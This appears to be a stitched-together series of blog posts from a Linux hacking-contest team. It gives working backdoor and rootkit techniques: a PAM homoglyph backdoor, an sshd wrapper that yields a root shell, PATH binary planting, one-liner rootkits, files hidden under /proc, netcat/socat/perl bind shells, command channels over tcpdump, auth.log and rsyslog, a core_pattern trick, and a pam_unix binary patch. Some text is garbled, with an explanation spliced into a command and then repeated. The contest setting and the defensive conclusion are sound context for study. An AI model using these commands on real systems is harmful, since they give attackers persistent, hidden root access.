Imagine that you want to check a small configuration file for malicious manipulations. Let's further assume that the file is very small (only 5 non-comment lines) and that you know the expected contents of the configuration file very well. Doesn't it sound like a really easy task to find out whether there is a backdoor in the configuration file or not? Well, it may have been a simple task until Linux distributions started to enable Unicode in the default installation. Today things are a little bit different and it is entirely possible to make a malicious manipulation to a simple configuration file which can't be seen when viewing the file in a terminal with cat, less or a text editor using a Unicode homoglyph attack .

Before we start, let's take a quick look at the file /etc/pam.d/common-auth:

[...]
auth    [success=1 default=ignore]      pam_unix.so nullok_secure
# here's the fallback if no module succeeds
auth    requisite                       pam_deny.so
[...]

The entry "success=1" for pam_unix.so means that the following line (the call to pam_deny.so) is skipped if the module pam_unix.so (which does the standard unix password checking) succeeds. If the password checking fails (e.g. because the user entered an invalid password), the call to pam_deny.so is executed, which makes the authentication fail. The following two lines add a nearly invisible backdoor to this configuration file:

cp /lib/*/security/pam_permit.so /lib/security/pam_de
 
First of all, the file pam_permit.so is copied to /lib/security/pam_deոy.so (the 'n' in pam_deny.so is replaced with the Unicode character u+578, which looks more or less exactly like the real 'n' in many fonts). The perl script then changes the file name pam_deny.so in the configuration file to pam_deոy.so with the Unicode character u+578 instead of the 'n' so that it points to our copy of pam_permit.so instead of the original pam_deny.so file. The result of this is that if even if the password checking in pam_unix.so fails, the call to pam_permit.so makes sure that the authentication still succeeds. Since the two characters look exactly the same with many terminal fonts, the configuration file looks like the original when viewed with cat, less or a text editor. Therefore this backdoor is pretty difficult to detect even if the system administrator takes a close look at the manipulated configuration file.
\u578'y.so
perl -i -pe's/deny/de\x{578}y/' /etc/pam.d/common-auth

First of all, the file pam_permit.so is copied to /lib/security/pam_deոy.so (the 'n' in pam_deny.so is replaced with the Unicode character u+578, which looks more or less exactly like the real 'n' in many fonts). The perl script then changes the file name pam_deny.so in the configuration file to pam_deոy.so with the Unicode character u+578 instead of the 'n' so that it points to our copy of pam_permit.so instead of the original pam_deny.so file. The result of this is that if even if the password checking in pam_unix.so fails, the call to pam_permit.so makes sure that the authentication still succeeds. Since the two characters look exactly the same with many terminal fonts, the configuration file looks like the original when viewed with cat, less or a text editor. Therefore this backdoor is pretty difficult to detect even if the system administrator takes a close look at the manipulated configuration file.

This blogpost shows how the SSH server can be replaced with a small wrapper script to allow full unauthenticated remote root access without disturbing the normal operation of the service. In order to install the wrapper script, the original SSH server must be renamed or moved to another directory. I have chosen to just move the binary from /usr/sbin/ to /usr/bin/:

cd /usr/sbin
mv sshd ../bin
vi sshd

Then type in the following small wrapper script:

#!/usr/bin/perl
exec"/bin/sh"if(getpeername(STDIN)=~/^..LF/);
exec{"/usr/bin/sshd"}"/usr/sbin/sshd",@ARGV;

Finally the wrapper script must be made executable e.g. with the following command:

chmod 755 sshd

In the normal operation of the ssh server, the wrapper script just executes the original sshd binary (which has been moved to /usr/bin/sshd) with all the given command-line arguments. If STDIN is a socket and the source port of the connected client happens to be 19526 (the string "LF" converted from ASCII to a big-endian 16 bit integer), the wrapper however executes /bin/sh instead, which gives the client an unauthenticated remote root shell.

Like many other network services, the OpenSSH server forks a new child process when receiving a new TCP connection. However, contrary to most other services, it doesn't directly serve the client in the child process after the fork. Instead it re-executes its own binary (typically /usr/sbin/sshd) in the child process so that the client is handled by a new instance of the sshd process (which makes ASLR more effective by giving each child process a different randomized memory layout). For this child process, the file descriptors STDIN/STDOUT are connected to the client socket.

In order to exploit the backdoor to get a remote root shell, you have to connect to the SSH service from source port 19526, which can easily be achieved with the following command:

socat STDIO TCP4:target_ip:22,sourceport=19526

Most Linux distributions have some kind of checksum support in the package manager which can be used to detect manipulations of existing programs in the filesystem. However, these checksums only verify the integrity of files which are legitimately shipped with a distribution package but they do not check whether an attacker has added additional files to the filesystem. This may look like a minor problem at first glance because the attacker can't add references to the additional files without manipulating existing files. However, when running a command e.g. from a shell script, the system will sequentially try to find the command in all the directories in the PATH environment variable. If there are two matching executables in two different PATH entries, the first one will be used without triggering any warning. So if we add a malicious binary in the first PATH entry while the legitimate one is somewhere later in PATH, the malicious binary is used instead of the original one. The same also applies to shared objects, which are loaded from various directories (LD_LIBRARY_PATH and the default directories /usr/lib and /lib).

For the Hacking Contest, we have used binary planting to install a small wrapper script for the uname program. In order to do so, we have created a shell script with the following contents in /usr/bin/uname:

#!/bin/sh
mount --bind /lib/*/*/pam_permit.so /lib/*/*/pam_unix.so 2>/dev/null
/bin/uname $*

The script will try to use mount --bind to replace the pam_unix.so library with pam_permit.so. The effect of this manipulation is that password checking is disabled so that an attacker can log in locally or via ssh without or with an incorrect password. All errors of the mount command are ignored (sent to /dev/null) so that the script doesn't output any errors when running as a non-root user. After that, it calls the original uname program in /bin/uname so that the command still does the intended functionality.

Since /usr/bin is before /bin in the default PATH, any scripts calling uname will use the backdoored version instead of the original. Since some scripts executed during logout/login to the system use uname, the backdoored program will be run between the phases of the Hacking Contest, so that the backdoor is recreated between phase 2 and phase 3 even if the defenders have found and removed the additional mounts during phase 2.

The binary planting trick is obviously not limited to the uname binary. There are countless other commands which are routinely used in shell scripts and many of them can easily be used for a similar backdoor.

Basic operation of rootkit

This blogpost shows how to install a simple rootkit with one single (but relatively long) line on a terminal. While the rootkit is not as capable and hard to detect as a full kernel rootkit, it is still able to hide itself, other files, running processes and even open TCP/UDP ports from the system administrator. We have used variations of this rootkit in the hacking contest for several years and it has never been detected and removed in phase 2.

The rootkit works by replacing the commands ls, netstat, ps, lsof and find with a simple wrapper, which calls the original command with all arguments and pipes the output to "grep -vE 'regex_of_stuff_to_hide'" to filter out lines of the output. There are two variations of the rootkit. The first one uses a simple shell script for the wrapper while the second one compiles a small c program instead (which makes the rootkit harder to detect and analyze in the limited time of the hacking contest).

Shell script version of rootkit

The shell script version is still useful if the system doesn't contain a c compiler:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,">$o";print F"#!/bin/sh\n$_ \$*|grep -vE \"[$s-$n]|grep|177\"";chmod 493,$o'

The which command lists the absolute path of the programs to maniuplate in the rootkit. These absolute paths are passed to a perl one-liner. The perl program starts with defining the variables $s and $n, which are initialized with the Unicode characters u+455 and u+578. These characters look like the ascii characters "s" and "n". Then it copies the filename of the original filename to $o and changes the filename in $_ by replacing the "s" in ls, netstat, ps and lsof with u+455 and the "n" in find with u+578. The result of these replacements is a new filename which looks exactly like the original filename. The original program is then renamed to the new name and then replaced with a shell script, which calls the renamed original program ($_) and pipes the output to grep. The grep command filters lines containing one of the following:

• Unicode characters used by the rootkit ([$s-$n]) => Makes the rootkit self-hiding
• The string "grep" => Don't show that grep is running in the output of ps
• The string "177" => This is used for the stuff which should be hidden by the rootkit.

This rootkit is pretty easy to detect and analyze because it can easily be seen with the file command that programs like ps or ls have changed the type from an ELF binary to a shell script. After discovering the rootkit, it is also pretty easy to analyze the functionality of it and then selectively find the backdoors hidden by the rootkit.

C version of rootkit

In order to make finding and analyzing the rootkit more difficult, it is also possible to compile small binaries instead of the shell script:

which ls netstat ps lsof find|perl -pe'$s="\x{455}";$n="\x{578}";chop;$o=$_;s/([ltp])s/\1$s/||s/fin/fi$n/;rename$o,$_;open F,"|gcc -xc - -o$o";print F qq{int main(int a,char**b){char*c[999999]={"sh","-c","$_ \$*|grep -vE \\"177|\$\$|[$s-$n]|grep\\""};memcpy(c+3,b,8*a);execv("/bin/sh",c);}}'

The beginning is pretty much like the first variant of the rootkit. However, insted of directly writing the wrapper program, the perl script opens a pipe to gcc and writes a small C program to this pipe. The following shows a more readable version of the C program:

int main(int a,char**b){
  char*c[999999]={"sh","-c","original_program \$*|grep -vE \\"177|\$\$|[$s-$n]|grep\\""};
  memcpy(c+3,b,8*a);
  execv("/bin/sh",c);
}

The first line initializes the argument array for execv with "sh -c" and the same shell command as the first variant of the rootkit while the second line copies all remaining arguments from the argv array passed to the wrapper binary to the end of the argument array for execv.

Using the rootkit to hide stuff

The following section shows some of the stuff which can be hidden by the rootkit. In order to hide a process using the rootkit, it must match the regular expression of the grep command. This can easily be achieved by making the process name contain the string "177". For hiding open ports from netstat/lsof, the port number has to contain "177".

File hiding below the proc filesystem

Another interesting dilemma when hiding backdoors is whether you want to leave the backdoor binary in the filesystem or not. If you keep the binaries in the filesystem, the backdoor can be found and detected there. On the other hand, it is relatively uncommon to have open file descriptors to deleted files on a typical desktop Linux system and so a defender can easily spot processes with open file handles to deleted files using e.g. the following command:

ls -l /proc/*/fd|grep deleted

In order to come around this limitation, we have found a clever new way of hiding files from the system administrator without deleting the files: Unmounting the /proc directory, place the files in /proc on the root filesystem and remount the proc filesystem. Since there may be processes accessing the proc filesystem while we try to unmount it, we use the -l option of umount for lazy unmounting:

umount -l /proc

Now we can create a few files there for our backdoors:

cd /proc
cp /usr/bin/perl 177a
cp /usr/sbin/tcpdump 177b
cp /bin/nc.tr* 177c
cp `which socat` 177d
mknod 177e c 4 9 # This is a copy of /dev/tty9
ln /var/log/auth.log 177f

Netcat remote shell

The first backdoor is a simple netcat listener with a shell attached (177c is a copy of nc.traditional):

./177c -l -p 3177 -e /bin/sh &

If there is no compatible netcat available, we can use socat (177d) or perl (177a) instead:

./177d TCP4-Listen:3177,fork EXEC:/bin/sh &

And if socat is missing as well, we can still use perl:

./177a -MIO -e'$s=new IO::Socket::INET(LocalPort=>1337,Listen=>1);while($c=$s->accept()){$_=<$c>;print $c `$_`;}'&

Due to the rootkit these processes and the open port can't be seen with standard system tools like ps or netstat.

Using tcpdump as a covert communication path

Another backdoor can be built based on tcpdump (which has been copied to 177b):

./177b -iany -n -A udp 2>&1|./177a -ne'system($1)if/LEGO(.*)/'&

This command makes tcpdump listen for udp packets on any interfaces and due to the -A option it outputs the raw packet data to STDOUT, which is then piped to a small perl one-liner, which checks for a marker (the string "LEGO") and passes everything from there to system(). This backdoor is particularly interesting because it provides remote root access without any open ports (which might still be detected e.g. with a port scan).

SCTP remote shell

The followinig backdoor uses socat (copied to 177d) to open a backdoor via SCTP.

./177d SCTP-Listen:1177,fork EXEC:/bin/bash&

Since SCTP is not listed with netstat, it is less likely to be detected than a standard backdoor via TCP/UDP.

Hidden shell on /dev/tty9

The following uses perl (177a) to open a shell to /dev/tty9 (177e), which can be accessed via [CTRL]+[ALT]+[F9].

./177a -pe'system$_'<177e>177e&

Opening a shell on tty devices like this is an old trick and well-prepared teams usually check for that kind of backdoors by switching over all virtual terminals and looking for a shell prompt (due to the perl one-liner instead of a real shell there is no visible shell prompt with our exploit) or by running a command like "lsof -n /dev/tty*" (which won't detect our version of the backdoor since we recreated the device with mknod).

Covert communication path with sshd and /var/log/auth.log

The following perl (177a) one-liner continiously monitors 177f (which is a hard link to /var/log/auth.log) for a magic string ("LEGO") and parses the following characters as hex-encoded string, which is then decoded and passed to system.

./177a -e'while(1){sleep(1);while(<>){system pack("H*",$1)if/LEGO(\w+)/}}'<177f&

This can be exploited by trying to log in with a specially crafted username via ssh. The ssh server writes an error message to /var/log/auth.log and since the error message contains the username, this can be used to remotely inject arbitrary code to the system:

# Hex-encode our shell command:
perl -e 'print "LEGO".unpack("H*","id > /tmp/auth.owned")."\n"'
LEGO6964203e202f746d702f617574682e6f776e6564
# Use the resulting string as a username for an ssh login to get the command executed:
ssh LEGO6964203e202f746d702f617574682e6f776e6564@target_ip

After installing the backdoor programs to /proc, we can remount the proc filesystem to hide the files from the administrator:

mount -t proc proc /proc

Since the files still exist hidden below the proc filesystem, they are not listed as deleted files in /proc/pid/fd.

The following few lines add a backdoor to rsyslogd, which can be remotely exploited given that the backdoored host runs an SSH server:

man -a rsyslogd syslog|perl -pe'print "auth.* ^/bin/atg "if$.==177;print"#"' > /etc/rsyslog.d/README.conf
echo -e '#!/bin/sh\nsh -c "$1"'>/bin/atg
chmod 755 /bin/atg
/etc/init.d/rsyslog restart

Given the strict time limits of the Hacking Contest, the first line is optimized for size instead of readability. The basic function is to write the line "auth.* ^/bin/atg " to the file /etc/rsyslogd/README.conf. In order to confuse defenders, the sript creates a relatively large file with somewhat legitimately-looking comments, which are generated by using the manpages of rsyslogd and syslog, commenting out every single line of the manpages and adding the actual payload somewhere between (at line 177).

The next two lines create the script /bin/atg, which will just execute the first given command-line parameter (which is the log message from rsyslogd) with sh -c. Finally it is also required to restart rsyslogd in order to make the changes effective.

In order to exploit this vulnerability, it is required to get an attacker-controlled log message to rsyslogd. The ssh protocol requires both sides to exchange a version string in the first line. OpenSSH by default logs the version string of the client to syslog, which means that an unauthenticated remote attacker can create more or less arbitrary log messages. The following line shows how to remotely create a log message which exploits this backdoor by writing the output of the id command to /tmp/rsyslogd.owned.

echo "';id>/tmp/rsyslogd.owned;'"|nc target_ip 22

The semicolons in the beginning and end are required so that the shell executed from /bin/atg ignores the log message before/after the attacker-controlled content.

The file /proc/sys/kernel/core_pattern typically contains the name of the coredump file which is created if a process crashes. Instead of a simple filename, /proc/sys/kernel/core_pattern can also contain a pipe character and a program. In this case the kernel launches the given program as root and pipes the coredump data to this process instead of writing it to a simple file. Since the program is executed as root, it provides a simple way of adding a local root backdoor to a Linux system. This trick has been used in the LinuxTag Hacking Contest for many years and well-prepared teams will typically check the contents of /proc/sys/kernel/core_pattern during phase 2 to detect this kind of manipulation.

In order to still successfully use this backdoor, I have come up with the following trick:

echo -e "|/tmp/lego \rcore      " >  /proc/sys/kernel/core_pattern

The carriage return character (\r) makes the terminal jump to the beginning of the line when displayed in the terminal. Contrary to a newline character (\n), the terminal does not jump to the next line on the screen. So the contents at the beginning of the line are overwritten with the stuff after the carriage return. When displaying the contents of /proc/sys/kernel/core_pattern using cat, you see just the string "core" with a few appended spaces, which won't raise any suspicion since "core" is the default content of /proc/sys/kernel/core_pattern. However, when a process crashes, the kernel still executes the binary /tmp/lego (which can be created by an unprivileged local user).

This blogpost shows how to create a backdoor by changing a few binary instructions in the pam_unix.so shared library file, which is responsible for checking the user password. Unlike most other binary patches, this one works with a wide variety of Linux distributions (since it dynamically finds the correct position in the binary) and it works on both i386 and X86_64 (since the injected instructions work on both architectures).

perl -e'$n=;open F,"+<$n";seek(F,hex(`nm -D $n|grep sm_au`),0);print F "H1\xc0\xc3"'

The perl program is optimized for minimum size (so that it can be typed in as quickly as possible) instead of readability. The first thing it does is to use wildcards to find the location of the pam_unix.so library, which is typically located in /lib/x86_64-linux-gnu/security/pam_unix.so on a 64-bit system. After opening the file for reading and writing the program uses the nm program to list all exported symbols of the library and grep to find the location of pam_sm_authenticate in the output of nm. Since the output of nm is a hexadecimal offset in the file, the program uses the hex() function to convert it to a number (which will silently ignore the rest of the line after the offset). Then the program seeks to the position of the function pam_sm_authenticate and writes the four bytes "H1\xc0\xc3" to this position.

Disassembling the four bytes leads to the following instructions on i386:

   0:   48         dec    %eax 		# This first instruction is irrelevant for the exploit
   1:   31 c0      xor    %eax,%eax	# Set %eax register to zero
   3:   c3         ret 			# Return to caller

Disassembling the same binary leads to the following instructions on X86_64:

   0:   48 31 c0   xor    %rax,%rax	# Set %rax register to zero
   3:   c3         retq   		# Return to caller

Since i386 uses the %eax register and X86_64 uses the %rax register (the 64-bit version of %eax) for passing the return value of a function to the caller, the injected assembly instructions are equivalent to "return 0;" for both architectures. The pam_sm_authenticate() function is supposed to return PAM_SUCCESS (which is defined as 0) if the authentication was successful. Since the patched function always returns zero, the authentication will succeed even if the user doesn't enter the correct password.

On Linux systems, process management tools like ps or top use the contents of the /proc directory to get a listing of all running processes and the contents of the /proc/[pid] directory for getting more information such as the process name, the command-line arguments or the user/group id of a given process. Since processes may legitimately disappear (terminate) between getting a directory listing of /proc and getting more information about the process, these tools will silently ignore empty directories in /proc. This can be exploited for hiding malicious processes by mounting something else (such as another directory with mount --bind) to /proc/[pid] to hide a given process from the system administrator. While this trick is not new and we were not the first team to use it in the Hacking Contest, we did find a new way of hiding the additional mounts from the system administrator. Typically an administrator will use the "mount" command without any parameters to get a list of all current mounts of the system. One team has already used the alias feature of the shell to manipulate the "mount" command so that it doesn't display the additional mounts inside /proc/.

Since the "mount" command only uses the file /etc/mtab and not /proc/mounts (which is provided by the kernel and can't easily be spoofed), we can also hide the additional mounts by saving a backup of /etc/mtab and restoring it after doing the additional mounts:

cp /etc/mtab /x
mount --bind /bin /proc/[pid]
mv /x /etc/mtab

The hacking contest is a yearly competition taking place at the LinuxTag in Berlin. The setup consists of two notebooks with a projector attached to each of them. In phase 1 both teams get a root shell on the notebook and can do arbitrary manipulations to the Linux systems in order to place backdoors. After 15 minutes the teams switch notebooks for phase 2 and each team has the task to find and fix the backdoors placed by the other team in phase 1. After another 15 minutes the teams switch notebooks again and demonstrate the backdoors which are still working. In order to limit the complexity of the backdoors and prevent practically undetectable attacks such as a kernel rootkit, the teams have to enter the exploits to the system with nothing but a standard keyboard/mouse and paper notes.

Some exploits which have been used for the hacking contest in the past are already online at http://blogs.gnome.org/muelli/2011/05/linuxtag-hacking-contest-notes/. In the following series of blogposts I will describe some of the exploits we (Team LEGOFAN) have used in the past years.

The main conclusion of the competition is that there are so many possibilities of hiding a backdoor on a Linux system given temporary root access to the system and that it is practically impossible to securely clean up an infected system without reinstalling. The hacking contest also shows that a well-hidden backdoor doesn't necessarily require a lot of code such as a full kernel rootkit and that it is entirely possible to type in a backdoor via a standard keyboard within a very short time.